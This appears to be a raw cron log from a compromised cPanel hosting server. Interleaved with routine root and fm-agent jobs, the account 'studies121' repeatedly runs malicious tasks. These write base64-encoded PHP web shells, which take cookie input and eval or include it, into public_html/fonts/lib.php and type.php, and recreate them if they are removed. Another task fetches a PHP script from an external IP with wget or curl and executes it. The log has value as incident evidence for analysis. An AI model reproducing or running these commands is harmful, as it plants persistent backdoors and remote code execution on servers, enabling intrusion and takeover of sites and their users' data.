Sep 11 04:21:01 ip-184-168-122-23 CROND[29167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:21:01 ip-184-168-122-23 CROND[29168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:21:01 ip-184-168-122-23 CROND[29171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:21:01 ip-184-168-122-23 CROND[29174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:22:01 ip-184-168-122-23 CROND[29310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:22:01 ip-184-168-122-23 CROND[29311]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:22:01 ip-184-168-122-23 CROND[29314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:22:01 ip-184-168-122-23 CROND[29315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:22:01 ip-184-168-122-23 CROND[29316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:23:02 ip-184-168-122-23 CROND[29479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:23:02 ip-184-168-122-23 CROND[29481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:23:02 ip-184-168-122-23 CROND[29482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:23:02 ip-184-168-122-23 CROND[29484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:24:01 ip-184-168-122-23 CROND[29565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:24:01 ip-184-168-122-23 CROND[29567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:24:01 ip-184-168-122-23 CROND[29571]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:24:01 ip-184-168-122-23 CROND[29570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:24:01 ip-184-168-122-23 CROND[29568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:25:01 ip-184-168-122-23 CROND[29668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:25:01 ip-184-168-122-23 CROND[29670]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:25:01 ip-184-168-122-23 CROND[29672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:25:01 ip-184-168-122-23 CROND[29673]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 04:25:01 ip-184-168-122-23 CROND[29674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:25:01 ip-184-168-122-23 CROND[29675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:25:01 ip-184-168-122-23 CROND[29676]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:26:01 ip-184-168-122-23 CROND[29767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:26:01 ip-184-168-122-23 CROND[29769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:26:01 ip-184-168-122-23 CROND[29770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:26:01 ip-184-168-122-23 CROND[29771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:26:01 ip-184-168-122-23 CROND[29774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:27:01 ip-184-168-122-23 CROND[29899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:27:01 ip-184-168-122-23 CROND[29902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:27:01 ip-184-168-122-23 CROND[29903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:27:01 ip-184-168-122-23 CROND[29904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:28:01 ip-184-168-122-23 CROND[30101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:28:01 ip-184-168-122-23 CROND[30103]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:28:01 ip-184-168-122-23 CROND[30105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:28:01 ip-184-168-122-23 CROND[30104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:28:01 ip-184-168-122-23 CROND[30106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:29:02 ip-184-168-122-23 CROND[30235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:29:02 ip-184-168-122-23 CROND[30237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:29:02 ip-184-168-122-23 CROND[30236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:29:02 ip-184-168-122-23 CROND[30238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:30:01 ip-184-168-122-23 CROND[30349]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 04:30:01 ip-184-168-122-23 CROND[30350]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 11 04:30:01 ip-184-168-122-23 CROND[30356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:30:01 ip-184-168-122-23 CROND[30355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:30:01 ip-184-168-122-23 CROND[30358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:30:01 ip-184-168-122-23 CROND[30360]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:30:01 ip-184-168-122-23 CROND[30365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:30:01 ip-184-168-122-23 CROND[30361]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:30:01 ip-184-168-122-23 CROND[30363]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep 11 04:30:01 ip-184-168-122-23 CROND[30362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:31:01 ip-184-168-122-23 CROND[30484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:31:01 ip-184-168-122-23 CROND[30486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:31:01 ip-184-168-122-23 CROND[30487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:31:01 ip-184-168-122-23 CROND[30489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:31:01 ip-184-168-122-23 CROND[30488]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 04:32:01 ip-184-168-122-23 CROND[30595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 04:32:01 ip-184-168-122-23 CROND[30596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:32:01 ip-184-168-122-23 CROND[30597]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 04:32:01 ip-184-168-122-23 CROND[30598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 04:32:01 ip-184-168-122-23 CROND[30600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
